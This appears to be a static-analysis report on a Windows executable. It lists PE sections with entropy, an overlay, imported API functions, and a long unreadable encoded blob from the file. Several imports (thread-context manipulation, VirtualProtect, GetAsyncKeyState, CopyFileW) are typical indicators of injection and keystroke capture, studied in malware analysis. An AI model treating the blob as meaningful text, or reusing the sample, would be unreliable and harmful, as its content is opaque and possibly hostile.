.idata 0x00066000 0x00001000 0x00001000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 5.23
.CRT 0x00067000 0x00000038 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 0.32
.tls 0x00068000 0x00000020 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 0.22
.rsrc 0x00069000 0x00008c50 0x00008e00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 5.36
/4 0x00072000 0x00000358 0x00000400 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_8BYTES 1.94
/19 0x00073000 0x0000d972 0x0000da00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 6.06
/31 0x00081000 0x00001ffc 0x00002000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 4.67
/45 0x00083000 0x000020d5 0x00002200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 5.74
/57 0x00086000 0x00000bc4 0x00000c00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_4BYTES 4.60
/70 0x00087000 0x0000031c 0x00000400 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 4.28
/81 0x00088000 0x000019f2 0x00001a00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 3.51
/92 0x0008a000 0x00000608 0x00000800 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 2.55

Overlay

Offset 0x00082000
Size 0x00022f16

Imports

Library ADVAPI32.dll:
Library GDI32.dll:
0x4662d4 BitBlt
0x4662d8 CreateBitmap
0x4662e0 CreateCompatibleDC
0x4662e4 DeleteDC
0x4662e8 DeleteObject
0x4662ec GetObjectA
0x4662f0 SelectObject
0x4662f4 SetBkColor
Library KERNEL32.dll:
0x4662fc AddAtomA
0x466300 CloseHandle
0x466304 CopyFileW
0x466308 CreateEventA
0x46630c CreateMutexA
0x466310 CreateSemaphoreA
0x466318 DuplicateHandle
0x466320 ExitProcess
0x466324 FindAtomA
0x466328 GetAtomNameA
0x46632c GetCurrentProcess
0x466330 GetCurrentProcessId
0x466334 GetCurrentThread
0x466338 GetCurrentThreadId
0x466340 GetLastError
0x466344 GetModuleFileNameW
0x466348 GetModuleHandleA
0x466350 GetStartupInfoA
0x466358 GetThreadContext
0x46635c GetThreadPriority
0x466360 GetTickCount
0x466370 InterlockedExchange
0x466384 ReleaseMutex
0x466388 ReleaseSemaphore
0x46638c ResetEvent
0x466390 ResumeThread
0x466394 SetEvent
0x466398 SetLastError
0x4663a0 SetThreadContext
0x4663a4 SetThreadPriority
0x4663ac Sleep
0x4663b0 SuspendThread
0x4663b4 TerminateProcess
0x4663b8 TlsAlloc
0x4663bc TlsGetValue
0x4663c0 TlsSetValue
0x4663cc VirtualAlloc
0x4663d0 VirtualProtect
0x4663d4 VirtualQuery
0x4663dc WaitForSingleObject
Library msvcrt.dll:
0x4663e4 __dllonexit
0x4663e8 __getmainargs
0x4663ec __initenv
0x4663f0 __lconv_init
0x4663f4 __set_app_type
0x4663f8 __setusermatherr
0x4663fc _acmdln
0x466400 _amsg_exit
0x466404 _beginthreadex
0x466408 _cexit
0x46640c _endthreadex
0x466410 _fmode
0x466414 _ftime
0x466418 _initterm
0x46641c _iob
0x466420 _lock
0x466424 _onexit
0x466428 _setjmp3
0x46642c _unlock
0x466430 _write
0x466434 abort
0x466438 calloc
0x46643c exit
0x466440 fprintf
0x466444 fputc
0x466448 fputs
0x46644c free
0x466450 fwrite
0x466454 longjmp
0x466458 malloc
0x46645c memchr
0x466460 memcmp
0x466464 memcpy
0x466468 memmove
0x46646c memset
0x466470 printf
0x466474 rand
0x466478 realloc
0x46647c signal
0x466480 sprintf
0x466484 srand
0x466488 strcmp
0x46648c strerror
0x466490 strlen
0x466494 strncmp
0x466498 time
0x46649c vfprintf
Library SHELL32.DLL:
0x4664a4 ShellExecuteW
Library USER32.dll:
0x4664ac BeginPaint
0x4664b0 CreateWindowExA
0x4664b4 DefWindowProcA
0x4664b8 DestroyWindow
0x4664bc DispatchMessageA
0x4664c0 EndPaint
0x4664c4 FillRect
0x4664c8 GetAsyncKeyState
0x4664cc GetClientRect
0x4664d0 GetDC
0x4664d4 GetMessageA
0x4664d8 InvalidateRect
0x4664dc KillTimer
0x4664e0 LoadBitmapA
0x4664e4 LoadCursorA
0x4664e8 LoadIconA
0x4664ec MessageBoxA
0x4664f0 PostQuitMessage
0x4664f4 RegisterClassExA
0x4664f8 SetTimer
0x4664fc ShowWindow
0x466500 TranslateMessage
0x466504 UpdateWindow

.text
P`.data
.rdata
`@.bss
.idata
.rsrc
@B/19
0B/70
|$` fB
|$` pB
|$` &B
|$` fB
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